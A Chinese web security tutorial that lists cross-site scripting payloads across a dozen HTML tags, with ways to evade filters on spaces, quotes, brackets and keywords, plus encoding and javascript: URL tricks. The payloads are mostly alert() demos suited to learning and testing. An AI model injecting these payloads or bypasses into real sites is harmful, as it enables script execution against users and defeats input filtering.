【Web安全】xss攻击方式与绕过

xss攻击方式与绕过

文章目录

  • xss攻击方式与绕过
    • XSS攻击方式
      • 1. script标签
      • 2. img标签
      • 3. input标签
      • 4. details标签
      • 5. svg标签
      • 6. select标签
      • 7. iframe标签
      • 8. video标签
      • 9. audio标签
      • 10. body标签
      • 11. textarea标签
    • 常见绕过方式
      • 1. 空格过滤
      • 2. 引号过滤
      • 3. 括号过滤
      • 4. 关键词过滤
      • 5. 编码绕过
      • 6. url地址过滤
      • 7. 伪协议

本节参考了 XSS(跨站攻击),并且给予一些优化,相比于参考文章来说,这篇文章比较简单,在httponly和waf绕过方面不会涉及。下面就是对于参考文章的总结,也建议去阅读参考文章。

XSS攻击方式

1. script标签

<script>alert("xss");</script>

注释:这是最基本的XSS攻击形式。通过插入<script>标签,攻击者可以在受害者的浏览器上执行任意JavaScript代码。在这个例子中,它会显示一个警告框,显示消息"xss"。

2. img标签

<img src=1 onerror=alert("xss")>

注释:利用<img>标签的onerror事件。如果图片加载失败(例如,src设置为不存在的资源),则执行onerror中的JavaScript代码。

3. input标签

<input onblur=alert("xss") autofocus><input autofocus>
<input onfocus=alert("xss")>
<input onclick=alert("xss")>
<input onmouseover=alert("xss")>

注释:通过在<input>标签的事件处理器中嵌入代码。例如,onblur事件在元素失去焦点时触发,onfocus在元素获得焦点时触发,onclick在点击时触发,onmouseover在鼠标悬停时触发。

4. details标签

<details ontoggle=alert("xss");>

注释:利用HTML5的<details>标签,当用户切换显示/隐藏详情时,触发ontoggle事件。

5. svg标签

<svg onload=alert("xss")>

注释:使用SVG图像格式的<svg>标签。onload事件在SVG加载完成时触发,可以用于执行恶意代码。

6. select标签

<select onfocus=alert("xss")></select>
<select onfocus=alert("xss") autofocus>

注释:在<select>标签中使用onfocus事件。当下拉列表获得焦点时,触发JavaScript代码。

7. iframe标签

<iframe onload=alert("xss")></iframe>

注释:利用<iframe>标签的onload事件。当iframe加载完成后,执行指定的JavaScript代码。

8. video标签

<video><source onerror=alert("xss")>

注释:通过<video>标签中的<source>元素的onerror事件。如果视频源文件加载失败,将执行错误处理代码。

9. audio标签

<audio src=1 onerror=alert("xss")>

注释:与<img>标签类似,这里使用<audio>标签的onerror事件来执行代码。如果音频文件加载失败,将触发onerror事件。

10. body标签

<body onload=alert("xss")>

注释:在HTML的<body>标签的onload事件中嵌入代码。当页面加载完成时,会执行此代码。

11. textarea标签

<textarea onfocus=alert("xss"); autofocus>

注释:使用<textarea>元素的onfocus事件。当文本区域获得焦点时,将执行指定的JavaScript代码。

常见绕过方式

1. 空格过滤

当空格被过滤了,可以用**/和注释符**代替空格,

<img/src="x"/onerror=alert(1);>
<img/**/src="x"/**/onerror=alert(1);>

2. 引号过滤

在html中可以不使用引号,在js中,可以用反引号代替单双引号

<img src=x onerror=alert(`xss`);>

3. 括号过滤

当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。(末尾有解释)

<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>

4. 关键词过滤

关键词过滤可能可以使用大小写绕过、双写绕过、字符串拼接绕过

<sCRiPt>alert(1);</sCrIpT>
<scrscriptipt>alert(1);</scrscriptipt>
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">  反引号代替单双引号

5. 编码绕过

使用Unicode、url、Ascii、hex、base64绕过

// Unicode
javasc&#x72;&#x69;pt:alert(/xss/)     (编码了r和i)
// url
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
// Ascii
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
// hex
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
// base64
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">

6. url地址过滤

// 使用URL编码
// 十进制、八进制、十六进制IP
// 用//代替http://
// 使用中文句号代替英文点号

7. 伪协议

"><a href=javascript:alert(/xss/)>   o_n和<scr_ipt>过滤

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/172097.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Spring之AOP底层源码解析,持续更新中~~~】

文章目录 一、动态代理1.1、ProxyFactory1.2、Advice的分类1.3、Advisor的理解 二、创建代理对象的方式2.1、ProxyFactoryBean2.2、BeanNameAutoProxyCreator2.3、DefaultAdvisorAutoProxyCreator 三、Spring AOP的理解3.1、AOP中的概念3.2、Advice在Spring AOP中对应API3.3、T…

Git 仓库越来越大?不要慌!试试这个简单方法,轻松秒瘦身

开局两张图 瘦身前瘦身后 目录 开局两张图前言下载 BFG克隆代码Git 仓库瘦身清理存储库储存库 GC推送仓库 Git 瘦身验证结语开源项目 前言 在进行项目开发的过程中&#xff0c;代码仓库的体积可能会逐渐增大&#xff0c;特别是在版本控制系统中保留了大量的历史提交记录和不必…

YOLOv5算法进阶改进(4)— 引入解耦合头部 | 助力提高检测准确率

前言:Hello大家好,我是小哥谈。解耦头是目标检测中的一种头部设计,用于从检测网络的特征图中提取目标位置和类别信息。具体来说,解耦头部将目标检测任务分解为两个子任务:分类和回归。分类任务用于预测目标的类别,回归任务用于预测目标的位置。这种设计可以提高目标检测的…

黑马程序员索引学习笔记

文章目录 索引的分类从索引字段特性从物理存储从数据结构组成索引的字段个数 InnoDB主键索的Btree高度为多高呢?explain执行计划最左匹配原则索引失效情况SQL提示覆盖索引、回表查询前缀索引索引设计原则 索引的分类 从索引字段特性 主键索引、唯一索引、常规索引、全文索引…

卷积神经网络(CNN)车牌识别

文章目录 一、前言二、前期工作1. 设置GPU&#xff08;如果使用的是CPU可以忽略这步&#xff09;2. 导入数据3. 查看数据3.数据可视化4.标签数字化 二、构建一个tf.data.Dataset1.预处理函数2.加载数据3.配置数据 三、搭建网络模型四、设置动态学习率五、编译六、训练八、保存和…

Sass的嵌套CSS 规则详细教程

文章目录 前言父选择器的标识符&群组选择器的嵌套子组合选择器和同层组合选择器&#xff1a;>、和~嵌套属性后言 前言 hello world欢迎来到前端的新世界 &#x1f61c;当前文章系列专栏&#xff1a;Sass和Less &#x1f431;‍&#x1f453;博主在前端领域还有很多知识和…

python super函数

# !/usr/bin/env python # -*- coding: utf-8 -*- class AddrBookEntry(object): ##类定义 def __init__(self, a, b): ##定义构造器 self.var1 a 9.1 self.var2 b 11.3 def updatePhone(self, num): # 定义方法 self.var3 num str(100) …

6.1 Windows驱动开发:内核枚举SSDT表基址

SSDT表&#xff08;System Service Descriptor Table&#xff09;是Windows操作系统内核中的关键组成部分&#xff0c;负责存储系统服务调用的相关信息。具体而言&#xff0c;SSDT表包含了系统调用的函数地址以及其他与系统服务相关的信息。每个系统调用对应SSDT表中的一个表项…

PWM(PulseWidthModulation)控制

PWM&#xff08;Pulse Width Modulation&#xff09;控制就是对脉冲的宽度进行调制的技术&#xff0c;即通过对一系列脉冲的宽度进行调制&#xff0c;来等效的获得所需要的波形&#xff08;含形状和幅值&#xff09;&#xff1b;面积等效原理是PWM技术的重要基础理论&#xff1…

软件工程简明教程

软件工程简明教程 何为软件工程&#xff1f; 1968 年 NATO&#xff08;北大西洋公约组织&#xff09;提出了软件危机&#xff08;Software crisis&#xff09;一词。同年&#xff0c;为了解决软件危机问题&#xff0c;“软件工程”的概念诞生了。一门叫做软件工程的学科也就应…

电源控制系统架构(PCSA)之电源控制框架概览

目录 6 电源控制框架 6.1 电源控制框架概述 6.1.1 电源控制框架低功耗接口 6.1.2 电源控制框架基础设施组件 6 电源控制框架 电源控制框架是标准基础设施组件、接口和相关方法的集合&#xff0c;可用于构建SoC电源管理所需的基础设施。 本章介绍框架的主要组件和低功耗接…

1个10进制数转为2进制和转为8进制, 各位上数字后2进制的值与8进制的值相同的值有 1 8 9 64 问第23个值是多少?

1个10进制数转为2进制和转为8进制&#xff0c; 各位上数字后2进制的值与8进制的值相同的值有 1 8 9 64 问第23个值是多少&#xff1f; #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <stdlib.h> #include <malloc.h> #include<cmath&g…

vue3通过v-model实现父子组件通信

单一值传递 父组件 <template><div ><h1>v-model实现父子组件通讯</h1><hr><child1 v-model"num"></child1><!-- 上下两个是等价的 --><child1 :modelValue"num" update:modelValue"handle&quo…

HuggingFace学习笔记--AutoTokenizer的使用

1--AutoTokenizer的使用 AutoTokenizer() 常用于分词&#xff0c;其可调用现成的模型来对输入句子进行分词。 1-1--简单Demo 测试代码&#xff1a; # 分词器测试Demo from transformers import AutoTokenizerif __name__ "__main__":checkpoint "distilbert…

电商又有大动静,又一短视频进军电商领域!

我是电商珠珠 电商近几年来发展迅速&#xff0c;截止到23年的10月26日&#xff0c;电商零售平台市场份额是淘宝市场占比的53%&#xff0c;京东为20%&#xff0c;拼多多手握15%的市场占比&#xff0c;三者合计份额已经达到了88%。 剩下的抖音、快手、苏宁也在奋力抢占更多。 …

聚类笔记:HDBSCAN

1 算法介绍 DBSCAN/OPTICS层次聚类主要由以下几步组成 空间变换构建最小生成树构建聚类层次结构(聚类树)压缩聚类树提取簇 2 空间变换 用互达距离来表示两个样本点之间的距离 ——>密集区域的样本距离不受影响——>稀疏区域的样本点与其他样本点的距离被放大——>…

Python与ArcGIS系列(十)要素查询与选择

目录 0 简述1 Select by Attributes入门使用2 Select Layer by Attribute按属性查询选择3 Select Layer by Location按位置查询选择0 简述 通过构造查询条件进行要素选择,如根据属性或空间规则查询。本篇将分别介绍Arcgis的Select by Attributes入门使用、Arcpy的Select Laye…

hvigor ERROR: Failed :entry:default@ProcessLibs...【鸿蒙开发-BUG已解决】

文章目录 项目场景:问题描述原因分析:建议的解决方案总结HarmonyOSArkTS项目场景: 项目无法在真机上运行。报错 hvigor ERROR: Failed :entry:default@ProcessLibs… hvigor ERROR: 2 file found in ‘lib/arm64-v8a/libagccrypto.so’. This may cause unexpected errors …

速记:一个TL431应用电路

一个TL431应用电路 仿真结果 输出电压为&#xff1a;5V 负载电阻为&#xff1a; R4 50Ω 如果负载R4加重 显然负载加重&#xff0c;输出就达不到5V. 三极管T1 的作用 没有三极管的情况 同样是保持负载 R 50Ω 可见三极管的作用就是用来放大电流

基础组件-对Mybatis返回条数限制

一、目的 限制单条SQL从数据库、拉取过多数据到应用端&#xff0c;防止应用内存过高&#xff0c;数据库IO过高等问题 二、开启限制 加入该特性&#xff0c;只要引用基础框架包自动加入限制&#xff0c;限制数据量默认为1w条 三、关闭限制 如果需要关闭该特新&am…